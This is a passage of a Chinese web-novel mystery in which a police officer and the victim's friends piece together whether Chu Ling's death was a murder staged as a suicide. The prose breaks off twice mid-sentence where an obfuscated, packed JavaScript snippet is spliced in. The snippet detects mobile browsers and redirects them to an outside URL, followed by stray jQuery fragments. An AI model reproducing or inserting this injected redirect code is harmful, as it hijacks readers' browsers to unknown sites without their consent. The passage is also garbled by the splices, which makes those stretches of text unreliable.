案发的前一天,顾锵然忽然约他见面。他从未见过那样的顾锵然,胡子拉碴,黑眼圈很重,眼底布满血丝,看上去老了十岁。他们找了一家烧烤店,点了烤串和啤酒。 上菜后的十几分钟内,顾锵然始终沉默不语。马暗尘一边吃一边等对方开口,他了解自己的兄弟,催问不会有任何效果。 一瓶啤酒下肚,顾锵然开口道:“我和零零分手了。” 当时,马暗尘的手僵在半空中,嘴边的毛豆掉落在不大的木桌上。怎么可能?如果没记错,顾锵然上个月还和楚零拍了艺术照。也不算艺术照,他看过他们的照片,不夸张的说,那更像婚纱照。 “锵然说分手与零零的工作有关,没说具体的。不过就在出事当天的上午,也就是那个周六,他和零零好好聊过,并约在第二天上午见面。锵然说,那会儿他已经意识到是自己误解零零了,两人已和好。后面的事你们就知道了,周日上午他去找零零……”马暗尘摇摇脑袋,“不知道零零怎么想的,明明都要和好了,却还是自杀了。可能是在气锵然吧。” “犯不上。据我所知,楚零不是一个矫情的人。”边何直接否定马暗尘的猜测。谁也不想有个一哭二闹三上吊的恋人,但当有人肯为自己一哭二闹三上吊时,内心深处或许会产生一丝窃喜和得意。这种潜意识的想法没有表现在脸上,却表现在下意识的言行中,比如:马暗尘盲目的猜测。 “顾锵然对楚零的确很重要,但不是她生活的全部。”边何口吻严肃地说道,“压垮骆驼的是最后一根稻草,而不是一根稻草。”即便是这样,有的骆驼也会重新站起来,边何只在心里说出后面的话。 “你的意思是还有别的事让零零想不开?” “压力无处不在。”边何没有正面回答对方的问题,这本是一场谋杀。 “算了。我知道也没用,人都没了。上次你找我之后,我劝过锵然,让他把自己和零零的事告诉警方。万一不是他的原因呢?对不对?而且省的你们为了自杀原因跑来跑去。” 还怪贴心的,边何向马暗尘投出一个感激的目光。“你知道的,他没有找我们。” “那家伙说再等等。” “权衡利弊?” 边何的语气听着像是在调侃。“可能吧,别笑。”马暗尘随手给了边何肩头一拳,“啊,抱歉,你是警察。” “没事,不算你袭警。”边何笑着表示不介意。 “坦白讲,我能理解锵然的做法。他是活着的人,总要继续生活。” 边何耸耸肩,不置可否。 这时,哨音响了。他和马暗尘不约而同地看向楼下,最后一场攻防箭结束。最终,蓝方以4:3的总比分战胜红方。比赛期间的剑拔弩张随着哨声消失不见,双方队员对结果很满意,也可能是不在意,场内充斥着欢乐的大笑声。 “我该回去了。”马暗尘起身,仰着脖子喝掉最后一口体能饮料,“你会去找锵然,对吧?” 边何点头,表情像是在说:“那是必然。” “你能不能……” 边何做了一个停止的手势,他知道马暗尘在想什么。谁也不想失去一个可以互相吐露心声的兄弟。想必马暗尘也不会主动找顾锵然,告诉他——“警察又来找我了。”虽然边何并不介意对方这么做。 他拍拍腿,也站了起来。“你放心,我不会在顾锵然面前提到你的。” “够意思。那家伙过两天可能又要找我喝酒了,他的酒量实在不怎么样。你们这些警察啊,只管破案,善后的事还得我们来做。” “各司其职嘛。”边何笑笑,跟在马暗尘身后下楼,“今天谢谢了,你所述的内容对案子很有帮助。” “是吗?太好了,就让这一切赶紧结束吧。” “快了。接下来是什么项目?” “撕名牌。” …… 边何告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506590|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别马暗尘,离开场馆。三九寒天,气温不到零度,他轻轻哈了一口气,裹紧身上的大衣。叶微瑄给他发了消息,说是才从陶涂涂家出来,已知晓楚零与顾锵然之间的事。 他在偌大的室外停车场停住脚步,用食指挠了挠眉毛。先回车里再说吧,那辆黑色两厢小车就停在十米开外的地方。 【案发前一天的晚上,你见过楚零。我问过你,你们都聊了什么。你什么也没说,现在你愿意和我说说了吗?】 简单的几句话,边何坐在车里编辑了十分钟,写了删,删了写,完全没有警察该有的专业性。他很犹豫,不是怕招叶微瑄烦,而是怕对方感到难过。总是唤起无辜人不好的回忆,这该死的工作。 语言是很神奇的东西,在不同场景下表现出的意思不同。或许之前,叶微瑄不觉得那天与楚零的聊天内容有问题。现在呢?边何趴在方向盘上心想,那场看似普通的闲聊会不会被赋予新的意义? 一定会吧。他闭着眼睛,按了“发送”键。 再次感受到手机振动是一个小时后,此时天已完全黑了。三三两两的人走出场馆,登上停在车场入口处的大巴。活动结束了,他坐直,扭了扭略微酸痛的脖子。 新消息是小刘发来的。 楚零一案案发时,边何被派到现场协助派出所民警进行调查,如今刚好相反。自从定性为刑事案件后,参与侦办此案的便不再是边何一人。小刘作为原案件的主要负责人,被支队临时借调,协助刑警进行排查工作。他要排查的不是别的,正是边何让他收集的事发小区住户行车记录仪的视频录像。 另外,曾被作为自杀案件处理的证物又被翻了出来。死者手机、指纹、现场照片和作为凶器的登山绳等重要证物,已交由鉴定人员进行二次检验。痕迹检验需要时间,不过看刚刚收到的消息,小刘好像发现了惊为天人的线索。 那条消息不到二十字,却用了五个感叹号,意思就是让他赶紧回队里。边何紧锁眉头,松开刹车。 “太难了,你不知道有多难!”边何踏进办公室,小刘激动地迎了上来。周围的同事纷纷投来怀疑的目光,仿佛在说:“小片警能发现什么?小题大作。” “发现什么了?”边何揽住小刘的肩膀。 “你来看这个。”小刘拉他坐到电脑前,点击播放。屏幕上是行车记录仪的夜间拍摄画面。画面右下角的时间显示,是案发当晚的20:20。 晚上八点多?边何心里一惊。 视频车放着八九十年代的经典老歌,缓缓向小区驶去。车主估计是位四十岁左右的中年男人,他盯着屏幕,向小刘求证车主信息。事实证明,他猜的没错。 车缓慢行驶在双向单车道的马路上,没过多久,小区大门出现在视频车的右前方。视频车放慢速度,打了右转向灯。 即将进小区时,视频车忽然刹停,一辆电动摩托从车的右侧蹿了出去。“他妈的……不打灯也不加速。”车主暴躁地骂了一句,没有得到任何人的回应,车里就他一个人。 “注意了。”小刘叮嘱道。 视频车拐进小区,几乎和行人是一个速度。案发现场在一单元,离小区入口不远,单元门口站着两个聊天的大爷。车主停下车,与大爷打了声招呼,语气十分熟络。就在这时,一个背影走进行车记录仪的摄像头范围。对方身着墨绿色连帽羽绒服,手中拎着明显鼓起的袋子。看行走方向,是要拐进一单元。下一秒,车辆起步,背影消失。 “啪!”小刘用力按了一下空格,向前拉进度条,将画面定格在陌生人出现的时点。“这样看能清楚点。”他放大画面,点了点背影手中鼓起的袋子。 “熟悉吗?”他笑着看向边何。 “不能再熟悉了。” “我看了两遍才找到这个人。”小刘咧开嘴角,揉了揉眼睛。从昨天上午到现在,他一直守着电脑,睡了不到三个小时。 原结案报告上,楚零的死亡时间是21:15至22:00。考虑到凶手到小区的时间比楚零死亡时间要早,小刘将初始时间锁定在20:58,也就是顾锵然拨通楚零电话的时间。他反复查看居民提供的视频录像,调查了所有被拍到的陌生车辆和陌生人,没有任何发现。 万一顾锵然打电话的时候,凶手已经到楚零家了呢?又或者,凶手虽然没进楚零家门,却潜伏在小区附近。本着谨慎原则,他扩大排查范围,以一个小时为单位,向前调整初始时间。很快,他就有了惊人的发现。 “大周六的,单元出来进去的人很多。这人的穿衣打扮与小区居民很像,体型、走路姿态也不像会作案的凶手。一开始,我没有发现任何蹊跷,也没有注意对方手中的袋子。就在我困得睁不开眼睛的时候,忽然觉得哪里不对劲。”小刘很兴奋,就像在讲新奇的冒险故事。 “不对劲?” “嗯。你不在基层工作可能不了解,相较于近两年新起的小区,老旧小区的邻里关系更为亲密。这小区只有两栋六层板楼,住户不多,但凡看见脸熟的都会互相打招呼,就像视频车司机与站着热聊的大爷。可是你看……”他重新播放视频,“无论是大爷还是视频车司机,都像没看见这人似的。” “牛逼。”边何在心里感叹道。 “下午,我拜托所里的同事去了一趟小区,让他们拿着视频截图从二楼往下确认,是否认识视频中的人。一层三户,需要确认的只有五户,其中两户不在家,另外三户确认不认识。” “为什么是二楼?” “因为三楼有户人家安装了智能门锁,带监控。同事查了那天的监控,那人没上三楼。” 这家伙有点东西,边何朝小刘伸出大拇指。 “后来,同事直接联系不在家的另外两户。他们也不认识这个人。那么问题来了,这人去哪了?” “案发现场,也就是受害人的家。”边何顺着小刘的话,说出答案。 “没错。” “干得好。”边何激动地给了对方胸口一拳。 听边何这么说,参与案件调查的同事全部围了过来。边何也将视线重新落回到视频画面上。 早在与陶涂涂谈话时,他对凶手的身份就有了一个大胆的猜测。现在,这个猜测恐怕要成真了。如果真是这样,很多事情就能说的通,比如:受害者为什么会让凶手进门。 边何直勾勾地盯着画面中嫌疑人手里的袋子。那是一个红色的购物袋,鼓起的表面令袋子上的Logo和图案异常清晰。篮球、足球、羽毛球……购物袋的底部印着一句话——“唤醒你的热情。” “袋子里是什么啊?”有同事问了一嘴。 “是……”小刘激动地瞅向边何。 红色购物袋的袋口,露出与之不般配的颜色。边何默不作声地轻叹一口气,就要开口时,他的手机响了。 “很难受,给我点时间,我会告诉你那天我们聊了什么。”——叶微瑄。 24. 羽绒服4 就算暖气再不给力,在家穿羽绒服也会出汗吧。叶微瑄站在一单元102号的门前,朝为她开门的人投出一个关切的目光。 对方身穿白色短款羽绒服,米黄色睡裤,脚上是一双浅蓝色的棉拖鞋。她没什么精神,头发凌乱的盘在脑后,脸色有些苍白,鼻尖和眼眶周围明显发红。 “我给你带药了,都是我妈去医院开的。”叶微瑄晃了晃手中的塑料袋,“我不知道你是什么感冒,清热驱寒的都有,别吃错了。” “谢谢你,小瑄。”楚零挡在门口,伸出右手接过药,声音有些沙哑,“你快回去吧,会传染的。” 直觉告诉叶微瑄,现在不能走。“进屋。”她轻轻推了对方一把,顺势挤进屋,“我陪你待会儿。” 几天没来了,门关上的瞬间,叶微瑄感到一丝异样。楚零家很乱,乱到令人担心。 角落的垃圾桶满了,几团用过的纸巾散落在四周。鞋柜与地面的缝隙间有一只平底鞋,另一只横在餐桌下方。椅背上耷拉着一条围脖,椅子腿压着一顶毛线帽。楚零说过,围脖帽子是顾锵然送给她的生日礼物。 叶微瑄像被点了穴,呆愣在原地。后知后觉的感觉真是糟糕,她咽了下口水,背对好友抹了抹眼角。“你的感冒很严重吧?”她深吸一口气,转身故作轻松地问,“头一回见你家乱成这样。” 楚零捂着嘴咳嗽了两声,听着十分难受。“抱歉哦。” “我要拍下来,这可是难得的黑历史。”叶微瑄笑着举起手机,“让你老嘲笑我。”楚零“诶呀”了两声,放下药袋,用右手去抢她的手机,只是未果。“还有力气抢手机,有救。” 听见这话,对方的嘴角竟泛起一丝笑意。 “回床上躺着去,我去烧水。”叶微瑄对这个家很熟悉,她一边说一边走向厨房。“感冒要多喝水,这不是渣男语录,这是科学。” “小瑄……” “去躺着嘛。瞧瞧……壶里都没水了。”胸口在隐隐作痛,她无奈地举起烧水壶,壶口向下。壶很干净,干净到一滴水都没有。 楚零难为情地缩了缩脑袋,走向卧室。再出来时,她换了件灰色的大号卫衣。“不想躺着,咱们去客厅坐。” 等水开的功夫,叶微瑄靠在柜台边缘,看向脚下的分类垃圾桶。“少吃外卖,自己做饭干净又卫生。”昔日楚零教导她的话出现在耳边。 “简直和我妈一样。”——当时她是这么回应对方的。 没有厨余垃圾,零零这两天没做饭,也可能是连饭都没吃。为了确认心中的想法,叶微瑄打开冰箱,一股冒着冷气的哈喇味扑鼻而来。冷藏区中间层放着一盘结冻的红烧鸡翅,下层的塑料抽屉中有半颗发红的球生菜。她拿起瓶座位置的750ml鲜牛奶,生产日期是八天前,昨天就过期了。 那包吐司也过期了吧。叶微瑄伸手去拿面包,手却僵在半空中。算了,她关上冰箱门。 食物坏了就是坏了,多看一眼也不会改变什么,徒增烦恼。就像曾经做过的选择,事后看来也许不是那么的恰当,但也没办法。当初为什么要这么做呢?也许换个方式会更好。后知后觉究竟会带来什么?只会让心情更为沉重吧,叶微瑄心想。 她倒了一杯热水给楚零,随后走向客厅阳台。“虽然感冒了,但还是要敞敞窗户,不然病毒都闷在房间里了。” 阳台的冬青长势很好,紧密的果实就像冬日燃烧的小火苗。叶微瑄打开窗户,胳膊肘不小心碰到冬青。红色的果实落在地上,滚到阴影处,好似熄灭的火柴头。这东西这么容易掉?她捡起掉落的冬青果,转身扔进垃圾桶。不出所料,客厅的垃圾桶也满了。 “敞会儿就行。”楚零看向冬青,“外面风大,会把冬青果实吹掉的。” 有道理,叶微瑄听从对方的建议。 “好啦,别忙了,坐下休息会儿吧。” “以前都是你帮我收拾,今天算是乌鸦反哺,我来照顾你。你的脏衣篓满了,我一会儿帮你洗洗。” “不用不用。” “能不能别和我客气?” “不是客气。先别洗,晾衣杆坏了。”楚零冲阳台方向抬了抬下巴,墙角竖着一根铁杆。叶微瑄抬头向上看,挂晾衣杆的顶座少了一个,大概是年久失修,螺丝松了。 “能修吗?我帮你。” “哎呀。”楚零坐不住了,拉叶微瑄坐到身边,“不修了。我打算换晾衣绳,简单又方便,在墙的两边贴两个挂钩就行。” 晾衣绳?“什么年代了还用晾衣绳?” “我们公司有人用。他们告诉我的,登山绳可以做晾衣绳,不仅结实,还可以随时摘取。发生火灾或者其他紧急事件的时候,能够作为逃生绳使用。” “原来如此,那你买了吗?” “还没有,这两天去公司买。不过我以前买过一根,送……送人了。” “啊?送谁了?” “哎,无关紧要的人,你又不认识。” 无关紧要?既然是无关紧要的人,为什么要送礼物?叶微瑄思忖着要不要追问,又怕招对方烦。她见楚零无所事事地摆弄袖口,表情十分可怜,最终作罢。 楚零端起面前的杯子,对着杯沿吹了两口气,没喝又放下了。“小瑄,我想喝酒。”她没什么语气地说道,脸上也没有任何表情,“我们买点啤酒吧。” “啊?”喝酒?感冒这么严重喝酒?零零是疯了吗?叶微瑄一时语塞。在她的印象里,楚零很少主动提议喝酒。五人聚会,每次嚷嚷着喝酒的都是马暗尘和陶涂涂,她和顾锵然会配合起哄,楚零则是在一旁安静的笑。 叶微瑄到现在都不了解楚零的酒量。每逢酒局,对方喝到脸颊微红,便会主动放下酒杯。“不想喝醉。”——面对劝酒的人,楚零的解释总是轻描淡写。 “陪我喝一杯吧,好吗?”楚零再度开口,“我的感冒不严重。不去上班是因为累了,想趁机休息两天。” 叶微瑄的心情有点复杂。她愿意陪对方喝酒,只不过今非昔比,这份愿意的意义已是不同。“行,我来点吧。”她找到手机,打开外卖平台,“但你要答应我一件事。” “你说。” “吃饭。你这两天没有好好吃饭,对吗?” “嗯,没胃口。” “既然要喝酒,就必须吃东西。”见楚零沉默着同意,叶微瑄找到一家粥饼店。不对,喝什么粥啊,她自嘲般地摇摇头,换了一家烧烤店。“二十串羊肉串、五串大油边、十串肉筋、两串烤鸡翅……烤尖椒、烤香菇、毛豆花生米、蜂蜜面包片……” “咯咯咯”,楚零听她报菜名,笑出了声音。 “啤酒从超市买,饭店的太贵。你还病着,咱们少喝点,六罐应该够了。” “你还知道我病着呢,点那么多吃的。” “多吃点嘛,烤串总是能让人感到快乐。啊对了,你没吃头孢吧?” “没有,不发烧吃什么头孢。” “那就成。” “一共多少钱?我给你。” “不用,今天我请客。我刚刚说过了,不许和我客气。而且我爸妈后天会给我打生活费,这个月有富余!” “呀,了不起。” “哈哈,讨厌啦。” 不到三十分钟,门铃响了。送餐的外卖小哥年纪不大,脸冻的通红,笑起来会露出洁白的牙齿。对方手里拎着两个外卖袋,其中一个是帮同行顺路捎过来的啤酒。 “拿上这个吧。”楚零从鞋柜上层的抽屉中取出一片暖宝宝,“辛苦了。” “啊呀,谢谢。”小哥的眼睛笑成一条缝。直到对方背影消失,楼道里还回荡着满是欣喜的感激声。 “先吃肉才能喝酒。”叶微瑄定下规矩。楚零拗不过她,皱着眉毛吃了两串羊肉串和一串鸡翅。胃口一旦打开,食欲只增不减。叶微瑄给楚零倒啤酒时,对方正自觉地剥着毛豆,旁边的面包片也被咬了一口。 “真诚的笑容让人感到幸福。”楚零提起酒杯,伸向前方。 叶微瑄会意,与对方碰了碰。她们各自喝了一口,大概是半杯的量。“我也觉得。笑容会传染,别人笑,不自觉的就也想笑。”叶微瑄咧开嘴角,故意露出一个职业假笑。 楚零扑哧一笑,剥毛豆的手抖了抖,一颗毛豆滚进叶微瑄的盘子。 “谢谢老铁给剥的毛豆。” “哈哈,快吃吧,堵不上你的嘴。” 她们边喝酒边吃了一会儿。大油边是猪的护心肉,肉质肥嫩,油脂丰富,最适合烤着吃。五串大油边,叶微瑄吃了四串,剩了一串给楚零。 “以前很少点猪肉串,竟然还挺好吃的。” “那也没有了,下次……下次再点吧。”叶微瑄自顾自地喝了一口酒,“油边是长大后才发现的美食,我小时候喜欢吃肉筋,总磨着爸妈给我买。我妈不爱让我吃烤串,也不知道为什么,但我爸会给我买。” “肉筋确实也好吃。”只剩四串肉筋,楚零默默地拿了三串到自己的盘子里。叶微瑄发现她的小动作,两人互相对视,随即哈哈大笑。 六罐啤酒很快被喝掉一半,楚零一罐,叶微瑄两罐。 “小瑄,我听说马暗尘没死心,想和你复合。你还会和他好吗?”楚零嘬了一口杯子边缘快要冒出来的啤酒沫。 叶微瑄正在倒酒,她稍稍顿了一下。零零一定是听顾锵然说的。那哥俩不打不相识,如今好得像一个人似的。 她继续倒酒的动作,同时诚实地摇摇头。“没有这个打算。好不容易忘记的感情,实在不想再忆起来了。我承认,暗尘曾带给我很多快乐。但当初有多快乐,被背叛时就有多痛苦。亲近的人忽然变了一张脸,不是那张脸有多可怕,而是突如其来的变故让人措手不及。我讨厌狼狈不堪的感觉。” “没有任何心理准备。” “是的。制定好的人生计划被突如其来的变故打乱,制造变故的是自己十分信任的人。基于此,我不想承认但也必须承认的是,我对马暗尘是有一点点恨意的。”说完,她举起杯子,一口气喝下大半杯。 可能没想到叶微瑄会这么说,楚零瞪圆了眼睛。 “暗尘破坏的不止是我们之间的信任,也破坏了我对‘信任’两字的认知。我很迷茫,如果再遇到喜欢的人,该用什么样的程度去信任对方。”信任的世界本就脆弱,规则只要被打破一次,向往的美好就会变得不再真实,叶微瑄对此深有体会。 “我以为你对暗尘还保留着一丢丢的感情。”楚零捏住大拇指和食指,做了个“一点点”的手势。 “为什么这么说?” “你还留着他送你的毛绒熊。” “啊?”叶微瑄有点意外,她连忙摆摆手,“不是你想的那样。我只是很喜欢那只毛绒熊,仅此而已。你不觉得把它摆在小吧台非常合适吗?” “诶?”楚零的眼睛瞪得更圆了。 “如果我还爱暗尘,大概率会介意他的再次出现,也无法淡然的面对他曾经送的礼物。现在嘛……”她耸耸肩,“无所谓的。” “你这劲有点像涂涂。” “是吗?”叶微瑄用湿纸巾擦了手,清了清嗓子。她松开扎成低马尾的头发,做作地撩了一下,模仿陶涂涂的语气,同时摇摇手指:“没必要在一棵树上吊死,换谁都能过。” “哈哈哈”,房间里充斥着大笑声,二人的笑容就像杯中四溢的白色酒花。 “涂涂要是在就好了,那家伙才有意思。”叶微瑄拿起一串尖椒,笑道,“拥有令人羡慕的性格啊。” “等我好了,咱们叫她来我家吃饭,我做大餐给你们。” 尖椒好辣,辣的眼泪都要流出来了。叶微瑄仰脖喝掉杯中酒。“好呀,没问题。” “话说回来,不被信任也很痛苦吧。”楚零又提起刚才的话题,无意识地握紧酒杯,“万一别人真心实意的对你,你却不信任对方,好像也有些过分呢。猜忌不也是毁掉信任的原因之一吗?”说到“猜忌”两字,她提高了音量。 猜忌……叶微瑄明白对方的意思。 “算了,提破坏气氛的事情干嘛呢,都怪我。你找工作了吗?”楚零喝了一口酒,略显生硬地转移话题。 依旧是无法令人高兴的话题啊。叶微瑄苦笑了一下,摇摇头。 “不着急,没有合适的就再等等。” “我着急,而且我爸妈比我还急。不瞒你说,我现在都不爱回家了。虽然他们嘴上不说,但应该对我挺失望的。其实我知道自己不能再拖下去了,会焦虑。”啤酒买少了,她后悔没多买几罐。 楚零歪着脑袋,举杯与她碰了碰。“小瑄,说实话,我有时挺羡慕你的。我说的是真心话。只要不用交房租,3000块钱也可以在大城市活的很舒服,完全没有生活压力。不要焦虑,找不到工作只是一时的。实现人生价值的方式多种多样,不用非和我一样打工,成为社会的牛马。” “别这么说,我还羡慕你呢。” 楚零垂下视线,用竹签拨弄着盘子里的孜然粒。“羡慕我什么?我什么都没有。” “怎么会嘛。” “或许在你看来,我有理想的工作和恋人,可这些并不稳定, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506591|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至少不是百分百稳定。我有时会想,人的命运真的掌握在自己手中吗?可能不是。” “感冒会让人抑郁吗?” “咯咯咯”,楚零被她冷不丁地打岔逗笑了。“真是讨厌,我正伤感呢。” “哈哈,谁让你说这么奇怪的话。” “哪里奇怪?我是认真的。打个比方吧,你看我和锵然挺好的,对不对?但如果我的父母不同意我和他结婚呢?我该怎么办?” “你的父母怎么会不同意?他们那么爱你。” “诶呀,我就是举个例子。” “什么年代了,还会有父母干涉孩子的婚姻?”答案很明显,但她还是问了,而且有点气愤,“咱们有自己的路要走,无论好与坏都该是咱们自己的选择,因为咱们是独立的人。如果我爸妈非要挡在我和另一半的前面,我想我会义无反顾的闯过去。” 对,就是这样,这是她的真心话。但能做到吗?她也不敢深思。毕业后,楚零在很多方面的表现强于她,她心知肚明。也许她才是那个需要被鼓励的人。只不过,悲观的言语会磨灭对方的勇气,她不想看到朋友因此而消沉。她打开最后一罐啤酒,使劲闷了一口,就像是在壮胆。 “零零,你该为自己而活。” 这句话脱口而出,现在想想,可能是冥冥之中的安排吧。 楚零怔住了,手中的竹签掉到桌面上。“我看你是喝多了。” 是喝的有点猛,眼前的花生米在旋转,但她矢口否认。“才没有,我酒量好着呢。”她没忍住打了一个哈欠,用力睁了睁眼睛,看向对方。 楚零回视她,似乎欲言又止。对方双手放在大腿上,右手紧紧地抓着左手腕。 胃有些翻腾,叶微瑄觉得自己得吃点东西。“就这点酒量还逞强。”——曾经有人这么说她,好像是马暗尘,又或者是陶涂涂,她想不起来了。 见楚零在思考,叶微瑄默默地吃起花生米。不知过了多久,楚零轻叹一口气,起身走向厨房。回来时,她将一杯白水放到叶微瑄面前。叶微瑄道了一声“谢谢”。 “小瑄,你是对的。”楚零摩挲着易拉罐,指尖下方的文字标明酒精度数是4,“背负不属于自己的责任,背着别人的包袱前行,好累。” 是啊,就连找工作这样的事似乎都背上他人的期待,叶微瑄“嗯”了一声,点点头。人到底是在为谁活? “负重前行只会越走越慢,没准还会摔在原地。或许我该扔掉一些不属于我的东西。” “比如呢?” “比如……”楚零看向天花板,思考了一会儿,“不必要的支出、领导无理的要求、别人的偏见,等等。说实话,这些事会给我带来困扰,干扰我的判断。明明知道人生的下一站是哪,本来可以直奔目的地,却走了弯路。” 楚零的酒喝完了。她一把拿过叶微瑄面前的啤酒罐,尽数倒进自己的杯子。“幸好,我有你这样的朋友。”她深吸一口气,沉下肩膀,起伏的胸口就像抽真空的棉花忽然接触空气。“我要向你学习,先顾好自己。” “别啊,我没心没肺,估计暗尘和我爸妈都这么认为。” “少来,你才不是没心没肺,你只是不愿意将就罢了。” 听对方这么说,叶微瑄心里一暖,还是零零了解她。 “好啦。小瑄,今天谢谢你。” “干嘛谢我?怪尴尬的。”她的脸都红了。 “这顿饭吃的很开心,我的感冒都要好了。难得休息,明天我要好好收拾一番,颓废这么多天,该振作起来面对生活了。” “看来我还是有点用的。” “当然,你对我来说很重要。”楚零将杯中酒一饮而尽,“总之,谢谢你今天来看我。”相较于几个小时前,楚零的眼神明亮许多,人也有了精气神。 “要不要再喝两杯?”叶微瑄提出一个大胆的建议。 “算了吧,你都要喝多了。我可没法送你回家。” “那就睡你家咯。放心,我睡客厅,才不会睡你的床,那可是你和——” “诶呀,烦死了,你肯定喝多了。” “我就问你还喝不喝?” 真是没办法,楚零抿着嘴,满是笑意地哼了一声。“好吧,这次我来点。再来五串大油边,叶微瑄同学只许吃一串。” “哈哈,不要啊,点十串嘛。” “十块钱一串,好贵的呢。拒绝不必要的支出。” “哈哈哈”,大笑声再度洋溢在满是酒精和烤肉味道的房间里。三十分钟后,门铃又响了。这次的外卖小哥的牙齿没有上个白,不过小哥依然得到了一片爱心暖宝宝。 “爱心暖宝宝,哈哈,挺会起名字的嘛,叶微瑄同学。” “字面意思嘛。” “那这样吧。等平安夜的时候,我买双圣诞袜挂在门口,在里面塞满暖宝宝。这样有需求的人就可以随时拿取了。” “啊,这是不必要的支出吧?” “哈哈,才不是,这么做能让人快乐,我也会快乐。” “好呀,那我也这么干,向零零同学学习。” “互相学习,我的老Baby。对啦,今天喝酒的事要保密哦。” “为什么?” “别人都以为我感冒了,结果我却和你喝起大酒来了。” “是哦。” 酒精可以治疗感冒吧——叶微瑄大笑着看向眼前的人,虽然视线模糊,但楚零一直在笑。叶微瑄不知道自己又喝了几罐啤酒,但她知道自己好像真的只抢到一串大油边。不过她很高兴,她的朋友今晚没有遗憾,又吃到美味的大油边了。 靠墙的桌面摆满空易拉罐,地上桌子上到处是横七竖八的竹签子。 不行,不能再喝了。“零零,我好晕啊。”叶微瑄站起身,脚底不稳,晃了两晃。 “就这点酒量还逞强。” 原来这话是零零说的。她定了定神,寻找楚零的身影。零零的酒量真不错,喝这么多脸都没红。 “你……”想说的话卡在喉咙处。酒精控制了她的思维,强烈的眩晕感忽然袭击她的大脑。零零呢?怎么不见了。房间为什么在转?她眨了眨眼睛,面前的残羹剩饭正朝着一个方向疯狂旋转。好恶心啊,她赶忙闭上眼睛,再睁眼时,眼前的世界转的更快了。 “零零……”她捂着嘴,用尽全力撑在桌子边缘。卫生间在哪?想吐。她试图迈开脚,可惜身体与意识没有达成一致。 脑袋很沉,就像挨了一闷棍。下一秒,她双腿一软,摔坐在原地。骤然间,黑暗笼罩世界。 …… 25. 羽绒服5 不行,想吐。叶微瑄猛地睁开双眼,直奔卫生间。胃如翻江倒海般难受,她趴在马桶边缘剧烈地呕吐起来。空气中弥漫着令人恶心的酒精味,不是来自啤酒,而是来自一瓶年份久远的廉价威士忌。 天黑了。她冲掉马桶,站到镜子前。狼狈——此时只有这两个字能够形容镜子里的自己。为什么会这么狼狈?从陶涂涂家回来后,她就一直在喝酒。 若是能喝到断片就好了。她刷牙漱口,洗了一把脸。老旧的房子没有城市热水,洗手池也没有连热水器,冰冷的自来水就像无数把尖刀剌过她清秀的脸庞。脸部微微作痛,迫使她清醒了几分。 事实和梦境演绎的几乎一样,除了最后新买的啤酒和五串大油边。案发前一天,楚零以感冒的姿态见了她。对方提出喝酒,叶微瑄还吃了一惊。她们点了烤串儿和啤酒。楚零没喝两罐脸就红了。她抢了叶微瑄的酒,话也渐渐多了起来。 “背负着不属于自己的责任,背着别人的包袱前行,好累啊。”叶微瑄清楚的记得楚零说这话时的表情,目光含笑,却透着万般无奈。 她还记得,喝到最后,她们很开心。楚零说,明天要把家好好收拾一番,不能再颓废下去了。这也是叶微瑄为什么从始至终坚信——楚零不会自杀。 不过当下,她在意的不是楚零是否会自杀。仔细回忆那天的对话,再结合陶涂涂今日所言,她发现一个令人后背发凉的细节。 案发当天,现场多了一样东西,它不该出现在那里。 叶微瑄揉了揉眼睛,那么重要的东西竟然被忽视了。或许是觉得理所当然吧,越是暴露在眼前的东西越是容易被忽略。 不曾留意的细节就藏在记忆的角落,正孤独地诉说真相。幸运的是,她看到了。不幸的是,她不知道该不该走过去,点燃烛火照亮那个角落。 她回到客厅,坐到小吧台前。今天之前,那瓶威士忌被喝掉三分之一。刚才她又喝了三分之一,然后就醉了。酒量是真的不行,她闷声苦笑,视线落在瓶子的右边。那里放着一本牛津词典,和楚零、陶涂涂的一模一样,中间夹着象征友情的书签。事实是,楚零买了三本,三位挚友一人一本。 她抽出一张纸巾,擦掉词典上的口水。零零送的东西,要好好保存才是。 手机在威士忌瓶子的左边。“很难受,给我点时间,我会告诉你那天我们聊了什么。”——屏幕上显示着已发送的消息。这条消息的下面,边何回复了一个字“好”。 矛盾的想法是在醉酒前产生的。她很清楚,如果将案发前一晚的情形转述给边何,对方会立刻锁定嫌疑人。这不是她想看到的结果。万一那些对话会误导对方,万一不是她想的那样怎么办……又或者说,她是不是该给“凶手”一次解释的机会?总之,若边何先一步控制“凶手”,一切就晚了。 她泄气般地哼了一声,往杯子里倒了一口威士忌。虽然胃不舒服,甚至闻到酒精的味道想吐,但她还是一口气喝掉杯中酒。就当是酒壮怂人胆吧,她闭着眼睛做了一次深呼吸,左手摸向手机。 【方便见一面吗?我想和你聊聊零零。】 她看着顾锵然的头像,点击“发送”。 …… “飞机将在30分钟后抵达崖州国际机场,预计降落时间……地面温度……请您系好安全带,调直座椅靠背,收起小桌板,打开遮光板……” 头顶的喇叭传来空乘温柔的声音,令边何顿时松了一口气。世上再也没有比这更动听的声音了,他斜着眼睛看向一旁的人类幼崽,暗自心想。 